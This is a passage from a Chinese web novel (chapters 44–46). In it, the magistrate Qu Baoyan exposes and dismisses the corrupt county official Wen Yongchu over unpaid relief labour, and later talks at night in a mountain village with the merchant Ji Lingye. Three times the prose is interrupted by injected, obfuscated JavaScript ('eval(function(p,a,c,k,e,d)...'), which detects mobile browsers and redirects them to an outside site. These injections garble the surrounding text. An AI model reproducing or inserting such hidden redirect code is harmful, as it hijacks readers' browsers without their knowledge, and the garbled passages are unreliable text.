他手里册子往桌上重重一拍，斜眼看过来，火道：“催什么催！你们这堤才刚修完几天？账还在对呢，州里批没批、钱几时拨我怎么晓得？真要发，自有人来发，又不是只欠你一家的。” 旁边那人懒洋洋地扇着风，冷笑一声附和道：“就是，光围着我俩吼管啥用？米又不在我们手里，钱也不在我们手里。我们就是跑腿的，有事你们去县衙说去，有本事，去找知州大人哪！” 正喧闹间，一道声音从人群后方传来，语气不高，却穿过暑气，分外清明： “是谁说要找知州大人？” 声音落下，众人一怔，纷纷回头望去—— 烈日之下，一辆官车不知何时停在堤道尽头。 几名随行护卫分立两侧，一道挺拔身影自车内走下，一袭宝蓝色官袍，头戴乌纱帽，衣摆微扬，行至土路中央，脚步平稳，眼神清冷。 瞿宝砚负手而立，目光扫过棚下众人，一眼便落在那两名尚未起身的役吏身上。 空气像是被扯断了一瞬。 棚中两人面色陡变，登时从席间弹起，椅子被踢得一歪一倒，额头上的汗还未擦尽，已连连拱手，低声急唤：“大大大——大人——卑职不知大人今日到此，失迎失迎！” 四下原本躁动的人群也像是被泼了一盆凉水，喧声止住了，汗珠顺着脖颈淌下，却再无人敢言。 有人认出那身蓝袍，低声说了句：“我记得，我上回跟去州衙里见过，就是那位知州大人。” 众人不知谁先让了一步，转瞬便有人自觉退开，让出一条道来。 瞿宝砚将袖中调令与堤工拨付册卷递给身边的方奎，又目光一转，落回那“分派登记”的木牌上。 她缓步前行，每走一步，那地上晒得发烫的尘沙似也仿佛收了些热。 “堤修了几日？”她问，声如常语，却句句沉着。 役吏战战兢兢：“回大人……六日，六日整。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195596|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “米粮兑了几家？” “……尚还未发，主要是账……账还没全……” 语音落下，役吏嘴唇颤了颤，半晌，又磕磕巴巴地吐出一句：“卑···卑职知罪。” 瞿宝砚又道：“县衙里可知道？” 那两名役吏相视一眼，片刻后都默不作声点了点头。 瞿宝砚不再看他们，转向村民：“你们说，堤是几日修成的？” 人群中有人低声回：“十七日……共十七日！” “对！我们修了都半个月了，他们一分钱也没发给我们！” 她微一点头，道：“记下——按十七日工数，户别造册、实工登记，明日午后，照银换米给大家。” 说罢，她坐上棚中的木凳，指尖轻敲膝头，语气不紧不慢： “去，”她道。 “叫温咏初现在来见我。” · 盛夏的正午天光白得刺眼，整个汀水县仿佛被摁在蒸笼里，地面泛着滚烫的热浪，远处树影不动，连蝉鸣都低了下去。 偏偏这片晒地之上，静得出奇。围观的百姓不敢吭声，县中官吏低头噤若寒蝉，只剩下那烈日灼灼，一层层烧得人眼皮都睁不开。 温咏初跪在地上，膝盖磕在晒得发烫的黄土地上，一时竟没觉出疼来。 他有些恍惚。 刚才他还在府里后花园中谈笑风生，丝竹绕耳。可此时此刻，却跪在了这条西郊堤上，四下泥沙飞扬，太阳晒得地上发烫，豆大的汗水顺着鬓角滴落，脚边是翻卷的账纸，面前是目光如霜的知州大人。 他不知道自己这一路上是怎么过来的——这位知州大人几日前不是还在岳临留驻么？怎么突然就到了汀水，怎么此刻就突然站在他面前——兴师问罪。 温咏初心里发紧，却不敢抬头。 阳光晒得他额上生疼，汗糊了眼，视野里只剩下一双黑靴，一截蓝色袍角。 他咽了口干涩的唾沫，维持着些许镇定的样子，低声道：“属下……温咏初，叩见大人。” 瞿宝砚目光静静落在跪着的温咏初身上。 她道：“温大人，可还记得上回，在州衙议事堂中，本州是怎么说的？” 这声音不急不缓，却字字敲在心头。 温咏初身子一僵，低声应道：“记得，记得。大人说……务必秉公分赈，严守以工代赈之规，灾后当以安民为先，有功记功，有责追责。” “不错。”瞿宝砚眼神未动，语调仍旧平平，“那你又是如何执行的？” 温咏初唇角动了动，却一时无言。 他当然记得那一日瞿宝砚在州堂上的话，语调虽温，却字句分明，不容回避。他当时自然也和众人一样满口应下。 可如今这西郊堤上，民夫干了小半月，凭票却未发一张，粮赈也未兑一斗，吏员推诿，百姓积怨，甚至今儿个还闹到了知州跟前来，再多借口，也遮不住这分明的事实。 可若是灾后清查账目，他尚能调卷修辞，预作遮掩。 偏偏——坏就坏在，这人竟不声不响突然杀到！ 瞿宝砚静静望着他，片刻后缓声道：“你是不记得自己承过什么，还是从来就没把本州说的话当回事？” 44. 下县巡查3 温咏初连忙抬头摆手回道：“不不不，属下不敢！属下只是——” “不敢？我看你敢得很。” 瞿宝砚毫不留情打断他，语调不重，却一句紧过一句：“汀水南村一带，无粮可领，叫百余户人家背井离乡，流入邻县，占据粥棚，引发冲乱。你不设登册、不加登记，若是引发疫病、失控骚乱，后果谁来承担？这就是你说的安民为先？” 温咏初唇角抖了抖，想说什么，却被她截断。 “以工代赈怎么施行，州里说的明明白白，工粮一日一发，你却让堤上村民苦苦顶着日头干了半月，整整十七天都没有粮食发到众人手里，若非本州亲至，你还打算拖到几时？” “再者，”瞿宝砚语气未变，眼神却冷冽下去，“你去过县里的粥棚吗？灾后赈粥，粥却稀薄如水，施粥之处污秽不堪，几度蛆蝇入锅。前日一位贾姓老妇带孙儿前去讨粥，回家便腹泻不止。孩童体弱，一夜呕死，你却隐瞒不报，这就是你的不敢？” “你身为一县父母官，却不问生计、不顾调配。反倒将县银挪作私用，于自家园中挖池造景，广请戏班，对政事不闻不问。温咏初，你身负政责，却欺上瞒下、尸位素餐，置百姓死生于度外——该当何罪？” 温咏初双膝一软，身子向前伏倒，连额头都触到了地面，声音有些颤抖：“属下，属下……知错，求大人给属下一个改过自新的机会！” “机会只有一次，没有第二次。” 她淡淡扫他一眼，声音如寒风：“可惜你从没当回事过。” 瞿宝砚语声平静，却不容置疑：“自即日起，停去你汀水县令之职，限今日内交出印信账册，由州署接管地方事务，不得贻误。” 温咏初神情巨震，仿佛被一盆冷水泼头。他膝上猛地一震，不可置信地看向她。 “停，停职？”他嗓音一哑，像是被呛了一口。 他本以为不过是州署一场风头，照例训诫几句，再让属县自清账目，过些日子也就过去了。可谁知她竟来真的——连半点回旋余地都不留。 他忽地抬起头，眼中却染上几分破罐子破摔的激愤：“属下是有失察，可也不是无所作为！施粥、修堤、转迁灾民，哪一件不是已经做下去的，若是属下真无所作为，这汀水县早乱成一锅粥了，没有功劳，也有苦劳！大人一句‘停职’，未免也太重了吧？” 他猛地顿住，咬牙道：“更何况，贪墨也不是我一人贪！大人说得轻巧，可您在州署掌印才几日？知道这汀水多少旧规陈弊？这印信账册不是想接就能接的，多少年了，谁不是这么过来的——” 他声音渐低，情绪却愈发难抑，似是悲愤、又似是怒火： “凭什么停我的职？！” 瞿宝砚轻轻一笑：“凭什么停你？这会儿温县令倒是想起来要个‘公平’了？” “你汀水县赈款不见、工账成空、粮断人死、民怒四起——若这尚不能停你之职，那这‘职’字，岂不成了官员的遮丑布？” “堂前本州说过，若杀一人，才能救十万，本官照杀不误。你明知故犯、咎由自取，是你自己，偏要做这‘一人’。” 棚中一片死寂。 温咏初原本身形不稳，几欲跪下，此时却不知从何处生出一股底气来，猛地撑住地，抬起头，面色灰白，眼中却带了几分讥嘲。 “好、好，知州大人好一招雷霆手段！”他低声道，“大人自州中携兵入县，翻我案、断我事、不问预备、也无通报，是要兴大狱么？” 瞿宝砚不语，只盯着他。 温咏初忽地冷笑一声：“大人既是高坐州堂之人，自是天命所归，凡我等不过泥底小卒，难登大雅——可大人以为，如此做派，不会招来众怒吗？” “汀水百官皆知，今日此举不符旧例、不合规矩，您要是这样管法，渌州上下谁还敢不心寒？若有一日群起而攻之，大人要如何自处？” “难道您真以为凭几句清言正气，便能压住一个州？您是新官无根，孤身一人，背后无派无靠，只凭那点状元名头，就想砍人立威——可一旦这把刀砍得太狠，连根也砍了，那时哪还有转圜的地儿？真叫满州百吏寒心，你一人又能撑多久！” 瞿宝砚静静听着，直到温咏初声音落地，她才缓缓开口。 “众怒？” 她轻轻反问，眼神淡淡扫过温咏初：“温县令说的好，我问你——你口中的‘众’，是哪些人？是你的同僚？你的酒席座客？还是与你一同分账的‘共事之人’？” “你知道什么是众么？谁是众？多少是众？是‘官众’，还是‘民众’？” 她缓步向前，语调不紧不慢，却节节逼近：“你可曾想过，你头上的这顶乌纱是从哪里来的？身上的俸禄又是谁出的？你吃的饭，穿的袍，案上的笔墨纸砚、桌椅公章、马匹兵丁，哪一样不是民脂民膏？没有天下百姓，哪来的官？” “如今，当了官第一件事就是忘本。高坐衙堂，衙门一关，闭口‘规矩’，张口‘旧例’。戴了顶官帽，便自以为聪明绝顶，任你胡作非为；以为官官相护，便能高枕无忧。” “我告诉你——这顶帽子既是百姓给的，他们也有权夺回去。” 她一字一顿，低声却有千钧之力：“若你这等贪赃枉法，误国误民，尚敢大言不惭谈‘官规’‘旧例’——那本官今日便破了这规矩，砍了这老例。” “我是无党无派、孤身一人，但我身后有一州十万百姓。” “今日本官自州中携兵入县、翻案查账，不是为了砍你立威，也不是为我一句清名——就是为那些堤上晒脱皮、棚下等米粮的百姓，为那一口锅、一碗饭、一条命。” 她缓缓俯身，直视温咏初的眼睛： “你问我凭什么？” “凭的就是这身官衣的本分，凭的就是一句——‘为官者，当为民立命’。” 温咏初跪在原地，像是一滩被晒干的影子，动也不动，再无话可言。 瞿宝砚拂袖转身，道：“温咏初，州署留候，所涉诸项，一并上奏朝廷，听候钦批。” 话音落下，两名随行役卒立刻上前，将温咏初左右拘住。 温咏初一个踉跄，跌入尘土中，被人制住一个激灵，像是受了什么刺激，猛地挣扎起来，他抬头望向那抹冷峻背影，满眼是惊怒，声嘶力竭： “我姑爷可是知府衙门的人！你一个小小知州，也敢擅动我？你再怎么横，能横得过知府大人不成？你别得意，风水轮流转，总有也轮到你跪下的一天！” “带下去。” · 南沅县衙，后堂正屋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202066|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 几案之上，放着一只锦盒，封口上贴着“初伏进献”四字，旁边布匹、茶饼、时鲜水果堆得满满当当，窗外暑气翻腾，屋里却是一片清凉。 县令夫人正卷着袖子细细端详，笑眯眯道：“这苏家倒是上道，年年不落，今年还添了双湖笔，说是你爱写字，特意让他们老东家托人带的——你明儿得亲自走一趟。” 门帘“哗”地一掀，杜登远快步进门，一见那案上摆得满满当当，顿时脸都绿了。 “收什么收？谁让你收的？！” 县令夫人一愣：“怎么了？不是年年都……” “年年？你知道前几天汀水出了什么事吗？”杜登远指着外头，声音压低，却几乎咬牙切齿，“那知州一句话就叫老温停了官，给带走了！现在全渌州都知道他请戏不赈灾、克扣粮饷，被当场问罪！你这时候收人礼？你是也要送我去牢里凑热闹是不是？！” 夫人一听，脸色一白：“不……瞿大人不是还在岳临……” “她哪有半点官场旧例！”杜登远怒火攻心，“说来就来，一纸都不打——你现在收这玩意儿，胆子是真肥！” 他说着抬手一扫，那锦盒咣啷落地，几个梨滚了出来。 夫人见他正在气头上，抿了抿唇，也不再言，上前收拾。杜登远气得直跺脚，转身便喊：“来人，把这几样都给我原样送回去！顺带告诉苏家，要是再敢拿东西上门，我就报官抓他！” 他骂骂咧咧地回身，又补了一句：“再有人说什么‘今年不好过，大家都懂’的屁话，统统记下来——我要是真被盯上，你看他们谁能保你！” 屋外小厮赶忙低头应声而去。 · 钱世卿回了宅中，脚步还没落稳，便一把扯开内室帘子，唤道：“快，快，把正屋西角那几口老箱子翻出来——里头的那几件老物件，还记得不？全装一块儿。” 夫人正捧着茶盏坐着，听见这话一愣：“你说那几件金胎景泰、象牙浮雕？你不是说那是镇宅的，不能动？” 钱世卿表情一哭：“诶哟喂，还镇宅？现在是祸宅！我不说你也得带走，你今儿晚上就回娘家，走得越快越好，最好明儿一早人就在西郊外头。” 夫人这才意识不对，起身道：“这是出了什么事儿？” 钱世卿一边撸袖子擦汗，一边低声道：“老温被查了，人现在被关在渌州大牢里呢。” 夫人一惊，迟疑片刻又低声道：“……不是说他有知府大人罩着吗？” 钱世卿一听，啧了一声：“诶哟，你当真以为那层关系能顶事？咱们那位知州大人可丝毫不留情面，说查就查，说办你就办你，连知府的面子都不卖，八成后头还有靠山，咱惹不起。咱们就是锅边的菜沫儿，可得机灵点，不然烧起来就得先糊！” 他连忙道：“估计过两日知州的车马就要来清阳了。家里值钱的东西一个都别留着，你全带上，你娘家那边清白，先回去避避风头，等这一阵过去你再回来。” 夫人听得心惊：“那……你呢？” 钱世卿摆摆手：“我自有打点，穿上官袍老实办事估计不会有什么差错。” 他说罢，一边唤人装箱，一边叮嘱道：“记住了，东西走得越干净越好，什么账册、香罐、摆件，连那副湘绣也别留下——” 45. 山月夜谈 季凌也原本早该随陆尚言一行人返程琅州，只是季家在渌州也有不少的生意，那些契文账目都须得他亲自过目一遍。待一应事毕，诸事落定，已是数日之后，这才领着车队启程回琅州。 天晴了几日，今日却又下起细雨。 酉时初刻，天色便已暗了下去，山风裹着湿意。一路杉松香气冷冽似雪，顺着帘隙灌入车内。时有雨点打落叶隙，簌簌作响。 山路本就难行，雨一落，泥滑石碎，行得更慢。将至傍晚，昏黄的天光中，车队忽而缓停。 前头探路的一骑策马奔返，马蹄带水，沾了一身的泥点。那人喘了口气，停下抱拳冲车内道： “爷，前头的山路塌了一段，路断了。我瞧到那儿的还有一拨人，模样像是官车。” 季凌也闻言，挑起帘角放眼望去。林中雾气氤氲，前路湿滑逼仄，仅余一线通行。 山林间，几辆车马正驻足不前，十余人散立雾中，或披蓑戴笠，蹲地探察塌方，或倚马而立，似在休整等候什么。 他收回目光，拂了拂袖上的潮意，沉吟片刻道：“下车看看去。” 落雨已止，暮气渐起，泥香与松脂味同风而起，山间氛围愈发沉静。 前方车侧稍后，一名青衣少女倚坐在路边岩石上，怀中抱膝，正出神地盯着脚边的草叶发呆。 正是宝桃儿。 山林雨歇之后潮气重，湿漉漉的空气黏着衣襟，让人浑身不自在。宝桃儿心头发闷，觉得自己无聊得都快长出青苔来了。原本她也想跟着小姐一行上山探路，但是小姐说雨路湿滑，危险得很，便叫她在这里乖乖等着。 宝桃儿撇了撇嘴，望了眼山道尽头，叹了口气。也不知小姐那边探得怎么样了…… 正出神，身侧突然响起一阵脚步，她侧头望去，只见来人一袭霞色衣裳，衣袂带风。雨后山路灰沉，那抹红色却像夕阳坠地，好不扎眼。 宝桃儿一怔，下意识又看了他一眼，觉得好生眼熟。还未来得及开口，便听得山石响动，山道上探路的人回来了。 瞿宝砚穿着简衣斗笠，手中拎着染泥的竹杖走在前列。眉间似乎还带着山间的潮气水意，衣衫微湿，却神情镇定，步履干脆，边走边同身侧随员说着什么。 宝桃儿听到动静也顾不得其他，双目一亮，连忙起身迎到山脚：“小姐！” 季凌也闻着动静也顺势望去，见着那抹身影，不由微一挑眉。 方才他走近车队见众人行头便猜到了个七八分，如今瞧见来人，还果真是——那位如今风头正盛的瞿知州。 前几日听闻这位知州大人下县巡查，雷霆手段，断事如刀。 若不是打过交道，纵使他阅人无数，只怕也难将那传言中的铁手官人，与眼前这般清清淡淡的模样对起来。 乍看不过温润书生，半点杀伐不显，却偏能独镇一方。 季凌也嘴角轻扬，步履不急，行至近前，拱手笑道：“真是巧啊，瞿大人。没想到这半路山中，竟也能碰巧遇上。” 瞿宝砚方才与身侧随员交代完要事，闻声回身，目光在那一抹红上轻轻一顿。 那衣袍红浓如胭脂，艳得几近招摇，落在旁人身上恐早显轻佻，偏他一身意气恣肆、气骨张扬，竟将那份艳色生生压了下去。 似暮霞浸松烟，秋枫映冷泉。 她略一点头，语气平稳道：“是季公子。” 季凌也目光落在她手中还未收起的竹杖与泥痕上，笑道：“大人亲自探路，倒让在下也跟着放心几分。我看大人车马停驻在这，不知前路怎么样了？” 瞿宝砚看了前方一眼，放下竹杖，语气略缓：“此处属旧岭道，坡陡土松，正好连日阴雨一来，便塌了一段。这处山隘不通水渠，泥石易积，我方才上去对坡看了眼，此路少说也得两三日方能清理完毕，供人通行。” 说完，她稍顿片刻，又道：“季公子这是方才从渌州返程？” “正是。”季凌也微微一颔首，“陆兄先回了琅州，我也本该早些启程的，只是家里在渌州也有些生意，许多杂务少不得亲自打眼过，便多留了几日。却没想到返程路上遇到了大人。” 瞿宝砚点头，又问道：“那季公子这一路行来可还稳当？” 季凌也轻笑，拂了拂袖上的雨痕，拱手道：“托大人的福，这一路上稳稳当当，不曾再遇到什么歹徒拦路，只是这前头塌了路，恐怕回程又得耽误几日了。” 瞿宝砚颔首：“那便好。季公子若是不想耽搁，着急回琅州，还有一条路可行，绕东南一线便可。从羊尾涧小道折至白虎岭，绕行出山，再走官路，也能通琅州。只是山路崎岖，大车或许有些难行。” 季凌也闻言，神色微顿，随即笑了笑，道：“瞿大人对这两州地脉，倒是熟得很。”他语气略顿，又似随意一转：“不过我倒不急，听闻大人近日巡查各县，此行，可是要往清阳去？” 瞿宝砚颔首答道：“正是。” 季凌也轻点头，望向前方塌方的山道，道：“去清阳只有这一条路可走，如今山路崩塌，旁边又无岔道通行，怕是人马都得暂驻。不知大人有何打算？” 正说着，那先前拦路示警的小童站在一旁，踮着脚探头探脑地看了看几人，小声试探道：“大人若不嫌弃，要不去我家歇歇？我跟爷奶住，家里能空出间屋子来给您。” 他脚上还沾着泥巴，脸蛋晒得黑红，眼睛却亮得很。 见瞿宝砚朝他望来，又忙往林边一指，声音里满是认真：“就在这山上，从这儿往北边绕过去，再翻一块坡地，就能接上另一头。我们村里人打柴都走那条近路。” 宝桃儿附耳低声道：“大人，要不要先让人探一探？” 瞿宝砚却轻轻一笑，点头道：“也好，有歇脚处，那便叨扰一晚了。” 随即吩咐：“通知后队，将车马安置靠后，文书帐册一并封好，今晚暂驻山中。” “遵命！”随员应声而去，转身疾步去传令。 另一边，季凌也一行还停在坡下。 见季凌也折返回来，身旁随从迎上前来，低声道：“爷，咱们要不还是绕路吧？虽说多花几日，总比在这山道上干耗着强。” 季凌也目光微动，望着前方的青衣身影，闻言收回视线，手一挥，眉轻挑道：“怎么绕？这一车货物俱在，转来转去，翻了才真不值。” 随从愣了下，下意识回头看了眼——几辆车内空空如也，帘帐还敞着风。 “再说——”季凌也话音一顿，眸光重新落在那抹青影上，语气拖长：“瞿大人也在此歇脚，我们急什么？” 说着，朝她那边略略一拱手，高声道：“瞿大人，不介意我们也叨扰一晚吧？” 瞿宝砚抬眸望他，语气平静：“季公子请便。” · 狗拴儿脚步轻快地在前带路。领着众人绕过塌方，穿林上坡，走了一条崎岖山路。路不算宽，雨后更滑，一路时不时有树枝带水扫过肩头，众人不敢快行。 约莫过了一盏茶的功夫，林尽处雾气渐淡，一座小小村落便浮现在眼前。 说是村落，实际不过零星七八户人家，顺着山势斜斜散落在坡间，多是土墙茅顶。 雨刚停不久，鸡犬声稀，炊烟未起。远山苍翠，云气缭绕，这边风景静谧安然，倒真有几分与世无争的意味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211334|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗拴儿家的屋舍简陋，不过一间茅屋，篱笆矮墙，屋檐下还挂着草药与野果。入门便是土灶火塘，一侧放着木案与几张矮凳，灰布帘子遮出一间内室，里头勉强容下一床一席。 狗拴儿的祖父母年纪已高，皆衣着朴素，神情温和。一见这许多人来，虽惊讶，却也热情招待。老妪嘴里念着“贵人相助，有福有德”，亲自腾出里屋，请瞿宝砚住下。 瞿宝砚向两位老人家拱手致谢，宝桃儿变被老妪热情带进里屋去安顿床铺。 其余衙役与护卫则在后院棚下搭起竹席，铺上行囊干粮，临时歇脚。狗拴儿帮着搬柴搬水，倒也利索。 季凌也那一队人马自带上了遮帘与随行器具，索性在院中就地支起几座帘亭，亭外风灯一挂，倒显得比正屋还整肃些。 夜色渐沉，山风静了，雾气还未散尽。远处蛙声点点，暮色中，这半山腰的一隅，竟也安顿得温馨妥帖。 入夜。 宝桃儿睡熟了，呼吸绵长。小小一间茅屋墙边漏着雨，瞿宝砚便让她睡去床铺里头干爽的位置，宝桃儿侧身卧成一团，前一刻还叮嘱瞿宝砚早些睡，别看坏了眼，下一秒就没了声，没一会儿便入了梦。 瞿宝砚笑了笑，给她捻好被角，自己披了件外袍坐在床沿，点着豆灯，手中仍看着文书。 外头雨停了，草屋门虚掩着，潮气褪去，夜风微凉。 忽听屋外传来一阵细碎的争声。 “我说是‘寒来暑往，秋收冬藏’！你刚才分明把‘秋收冬藏’念成了‘秋收冬忙’！” “啧，小屁孩你懂什么，我这叫通俗易懂！” 狗栓儿叉着腰，小脸一板：“那怎么行！你这胡乱篡改是对前人大不敬的，书塾老先生说，念书要一字不错。你这样书可念不好。” “我又不去考功名！”季凌也十分不屑白了他一眼，“再说了，你都没听我背前头十句，前头我背得可准了。” “哪里准了？分明就是牛头不对马嘴，不对不对！”狗栓儿毫不客气。 “嘿，你这小屁孩——”季凌也斜眼瞅他，声音阴测测地拖长：“你还敢挑小爷的刺？信不信小爷要是不高兴，刚才说的话可作废了！” 狗拴儿猛地瞪圆了眼：“你你你——你是大人，可不能耍赖！” 季凌也正要开口，一道声音忽自从两人身后响起，温和却不容忽视： “怎么了？这么晚还不睡？” 一大一小同时回头，见到瞿宝砚，狗拴儿“嗖”地从地上一激灵弹起，笔直站好，仿佛下一刻就要被拎去堂前听训一般。 季凌也看他那怂样，憋着笑，顺手一拍他屁股：“就是，这么晚还不睡？还不快去睡觉——再不睡，那约定可就作废了。” 这“约定”二字像是拿捏住了狗拴儿的命脉，他被拍的屁股一紧，整个人都往前弹了一下，眼睛瞪得溜圆，却憋着一句话也不敢再吭，转身“嗖”地一窜，屁颠屁颠跑回里间去了。 夜色重归寂静。 瞿宝砚却没回屋，抬手拂了拂袍角，就着门槛坐下，目光落在身侧人身上，淡声道：“你们方才说的，是什么约定？” 季凌也手里还捏着一根狗拴儿递给他的狗尾巴草，他悠悠抖了抖草梗，漫不经心地答：“跟那小——” “小屁孩”三个字险些滑出口，他喉头一紧，话锋猛地一顿，硬生生刹住。 心里暗骂：好险，差点漏了馅。 顿了顿，才慢慢道：“跟那小子打赌……输了。” “赌了什么？” “也没什么，就是——背书。” 瞿宝砚轻声笑了笑，目光掠过他指间的草梗：“是么？” 46. 山月夜谈2 这句话的意思显然是不信。 况且，这种话糊弄旁人也就算了，哪里糊弄得了瞿宝砚。 听见笑声，季凌也不禁循声望去，却正撞上那近在咫尺的笑颜。 那微微弯起的眼角似乎藏着一点看破不说破的玩味，不细查几乎发现不了，而那笑意轻轻一晃，像是月色落进水里，轻轻荡开。 太近了。 只一眼，便叫季凌也心里猛地一跳，耳根骤然一烫，立刻别回眼去。 他装作若无其事地捻起手里的狗尾巴草，又装模作样地咳了一声，声音压低了些，才道：“我跟那小子打了个赌——要是他真能背出千字文，我就带他和他祖父母回琅州，送他去念书。学堂住处我来安排，平日他在季家的铺子里帮工就行了。” 闻言瞿宝砚微微有些诧异。 山村夜深后格外静，远山墨影如洗，水塘被雨水灌得满满，倒映着一轮新出的月亮，明亮澄澈，照得整个夜色也柔和了几分。 他眼神落在屋前那口水塘，语气也不再像方才那般吊儿郎当，而是稍稍认真了几分：“这小子生得机灵，也好学。本来只是跟他玩笑打赌，却没想到他真背出来了。” “那么长一串，居然还是他站在学塾门口听来的。那先生也是个好人，让他进去听，跟他说，送几捆柴做束脩就好。可他祖父母年纪大了，家中什么事都指望他一个人，一日不在家，两张嘴就断了饭。” “要真天天去学塾上学，他祖父母怕是没几日就得饿死。他不傻，也懂事，自己选择留下。” 瞿宝砚听着，靠在门框上，看着那水塘里的月色，过了好一会才轻声道： “能读书，是一件幸事。可惜世上能读书的人，却未必都知道那是幸事。” “那孩子若真有机会念书，也是个好苗子。他肯学，也撑得住苦，你替他担这一份，他的人生从此或许再不一样。只是，世间少有人愿为一个只有一面之缘的孩子费这份心——季公子，是为了什么呢？” 季凌也轻声笑了下，抖着狗尾巴草，像是无谓：“打赌输了，自然愿赌服输——” 话虽如此，听得身侧没了回应，他手指一顿，下意识侧过脸去。 只见瞿宝砚倚着门边，那双黑眸静静望着他——不审、不问，也不怀疑，却叫人一时无法闪躲。 那目光不带压迫，反倒平平静静的，可他心头却莫名一紧，像是被看穿了什么。 季凌也咳了一声：“我，我就是觉得可惜。况且这也不是什么大忙，对我来说不过举手之劳而已。” 话音刚落，他像是后知后觉忽然想起什么，突然神色一正，转头看向瞿宝砚：“……诶，那小子刚才背的那几句对吗？” 瞿宝砚轻轻一笑，眼波微转：“对。” 她顿了顿，又似笑非笑地反问：“难道季公子自己不会？” 季凌也手里的狗尾巴草突然一顿，身子一僵。 “我——” 他张了张嘴，似是想辩解什么，却又低低啧了一声，像是在埋怨自己多嘴。 他真是欠的，哪壶不开提哪壶，非得揭自己短！像他一贯横着走的人，居然会在“千字文”三个字上结巴，一时说不出话来，活该！该骂！ 可转念一想。 不就是读不来书么？这事在琅州谁不知道？背不来就背不来，有什么好遮遮掩掩的？大方承认也不丢人，他打小便不觉得读不来书是什么丢人的事。 书读的好不好是一回事，做人做事却是另一回事。他没做过亏心事，也从不拿读书当遮羞布，有什么好“丢人”的？ 一念至此，季凌也心口的那点膈应劲儿也就散了，他神色一松，语气也跟着坦然下来： “我——打小在桌前就坐不住，读书不成，一沾着书案就犯困。教书先生说我脑子活，心不定，留着也是白费纸张墨水。但我娘非说读不成书将来铁定没饭吃，硬压着我读。但我也有法子，她要是压着我读，我就离家出走，就是在外边钻破庙讨饭吃也不回家，后来她也没辙了，索性早早把我丢去铺子里管事。” “那什么千字文，我小时候就没背顺过——确实不会。” 话音一落，四下静了片刻。 季凌也没急着掩饰，也没笑，只是垂眼抖了抖指间的狗尾巴草，仿佛把那点小小的尴尬掸落。 过了片刻，他那双黑沉的眼眸，静静落在了瞿宝砚身上，在夜色中亮得分明。 他喉咙动了动，开口低低道：“大人——会笑话我吗？” 可问完季凌也就有些后悔了。 山野夜深，风声细细，屋檐下月光斜照，淡淡地铺在地砖上，也映在那道静坐门槛之上的身影上。 瞿宝砚仍是那副安静模样，只抬眸望着他，眉眼澄明，眼里含着淡淡的笑意，她看得并不久，却像一笔水墨落在心上。 季凌也心口微紧，仿佛有什么轻软之物，悄然拂过胸臆，又不着痕迹地落开。 瞿宝砚并没有直接回应，而是缓声道：“季公子是从小就帮着家中经营生意了？” 季凌也听她另起话题，心头没来由乏起一丝失望。 可面上仍是一派从容，答道： “是。书念不进去，干脆早早被我娘赶去了铺子。最初也就是跑腿记账，后来跟着管货、配价、打通行道，都做上了手。我们家货走得杂，从绸缎到食材、再到木料铁器，什么都得碰一遍，日子混得乱糟糟的。” 他说到这儿顿了顿：“书没念好，账倒是学得快。人家背书我打瞌睡，算盘珠子一拨，反倒清醒得很。” 瞿宝砚听他说着，也露出些笑意，静了片刻，又问道：“季公子随琅州衙门一起来，想来季家在琅州也是数一数二的商号，只是，铺子多，生意广，季公子当家之人，这等时节怎还亲自出远门？山高水远的不辛苦么？” 季凌也闻言，笑了笑，笑意却不轻浮。 他拢了拢袖口，目光望向远处缭绕的山雾，语气平缓道：“说不上什么当家人，真正掌着季家的是我娘。实话实说，那些个话本子里的传奇人物都远比不上她的事儿，我是真心佩服。” “我家里这份基业，虽说是我爹年轻时打下的，可成亲之后是她一手管着，那么多事她却理得清清楚楚，季家在她手里也越做越稳。” “她让我读书，是因为她自己小时候没机会。她说，要是她那会儿能进学堂，保准考个状元。” 他低头拂了拂掌心的狗尾巴草：“她那身本事我现在连一半都还没学到，不过仗着年轻，耐得住奔波，也就常在外头跑动罢了。” 瞿宝砚静静听着，却在他提到“考状元”时，眼中闪过一丝笑意。 她顿了顿，忽然轻声问：“令堂成亲前是做什么的？” 季凌也听到这问题手里的狗尾巴草却猛地一抖，险些掉在地上。 他没立刻答话，像是被这句话噎了一下。 “她？”他语气顿了顿，眼神飘了一瞬，像是认真在想措辞，“也……也在山里讨生活。” 瞿宝砚挑眉，看着他这副一反常态的迟疑模样，似笑非笑地问：“山里讨生活？” “对，”季凌也干笑两声，轻咳一声补充道，“打猎。山里人嘛，不打猎吃什么？她功夫挺好的，年轻的时候还能单手掀翻山里的野猪。” 说完还很没底气地看了她一眼，仿佛在确认她信没信。 瞿宝砚看着他，眼角似有一点笑意，却没说破，只道：“听起来，确实是个了不得的人物。” 